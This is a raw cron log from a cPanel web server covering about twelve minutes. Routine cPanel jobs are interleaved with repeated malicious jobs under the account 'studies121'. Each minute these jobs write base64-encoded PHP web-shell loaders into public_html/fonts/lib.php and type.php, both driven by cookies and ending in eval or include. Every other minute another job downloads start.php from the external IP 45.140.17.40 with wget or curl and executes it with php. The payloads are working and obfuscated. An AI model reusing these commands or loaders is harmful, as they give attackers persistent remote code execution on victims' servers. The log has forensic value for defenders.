Aug 31 07:25:02 ip-184-168-122-23 CROND[21556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:25:02 ip-184-168-122-23 CROND[21557]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:25:02 ip-184-168-122-23 CROND[21555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:25:02 ip-184-168-122-23 CROND[21558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:26:01 ip-184-168-122-23 CROND[21641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:26:01 ip-184-168-122-23 CROND[21643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:26:01 ip-184-168-122-23 CROND[21645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:26:01 ip-184-168-122-23 CROND[21647]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:26:01 ip-184-168-122-23 CROND[21648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:27:01 ip-184-168-122-23 CROND[21733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:27:01 ip-184-168-122-23 CROND[21732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:27:01 ip-184-168-122-23 CROND[21737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:27:01 ip-184-168-122-23 CROND[21742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:28:01 ip-184-168-122-23 CROND[21929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:28:01 ip-184-168-122-23 CROND[21932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:28:01 ip-184-168-122-23 CROND[21931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:28:01 ip-184-168-122-23 CROND[21933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:28:01 ip-184-168-122-23 CROND[21934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:29:01 ip-184-168-122-23 CROND[22043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:29:01 ip-184-168-122-23 CROND[22045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:29:01 ip-184-168-122-23 CROND[22042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:29:01 ip-184-168-122-23 CROND[22044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:30:01 ip-184-168-122-23 CROND[22135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:30:01 ip-184-168-122-23 CROND[22136]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 07:30:01 ip-184-168-122-23 CROND[22139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:30:01 ip-184-168-122-23 CROND[22141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:30:01 ip-184-168-122-23 CROND[22145]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:30:01 ip-184-168-122-23 CROND[22144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:30:01 ip-184-168-122-23 CROND[22140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:30:01 ip-184-168-122-23 CROND[22151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:31:01 ip-184-168-122-23 CROND[22263]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 07:31:01 ip-184-168-122-23 CROND[22261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:31:01 ip-184-168-122-23 CROND[22262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:31:01 ip-184-168-122-23 CROND[22264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:31:01 ip-184-168-122-23 CROND[22265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:32:01 ip-184-168-122-23 CROND[22359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:32:01 ip-184-168-122-23 CROND[22358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:32:01 ip-184-168-122-23 CROND[22361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:32:01 ip-184-168-122-23 CROND[22362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:32:01 ip-184-168-122-23 CROND[22365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:33:01 ip-184-168-122-23 CROND[22457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:33:01 ip-184-168-122-23 CROND[22458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:33:01 ip-184-168-122-23 CROND[22460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:33:01 ip-184-168-122-23 CROND[22461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:34:01 ip-184-168-122-23 CROND[22648]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:34:01 ip-184-168-122-23 CROND[22650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:34:01 ip-184-168-122-23 CROND[22651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:34:01 ip-184-168-122-23 CROND[22654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:34:01 ip-184-168-122-23 CROND[22653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:35:01 ip-184-168-122-23 CROND[22774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:35:01 ip-184-168-122-23 CROND[22776]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:35:01 ip-184-168-122-23 CROND[22778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:35:01 ip-184-168-122-23 CROND[22772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:35:01 ip-184-168-122-23 CROND[22777]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 07:35:01 ip-184-168-122-23 CROND[22773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:35:01 ip-184-168-122-23 CROND[22775]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:35:01 ip-184-168-122-23 CROND[22771]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 07:36:01 ip-184-168-122-23 CROND[22989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:36:01 ip-184-168-122-23 CROND[22992]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:36:01 ip-184-168-122-23 CROND[22993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:36:01 ip-184-168-122-23 CROND[22994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:36:01 ip-184-168-122-23 CROND[22995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:37:01 ip-184-168-122-23 CROND[23142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:37:01 ip-184-168-122-23 CROND[23145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
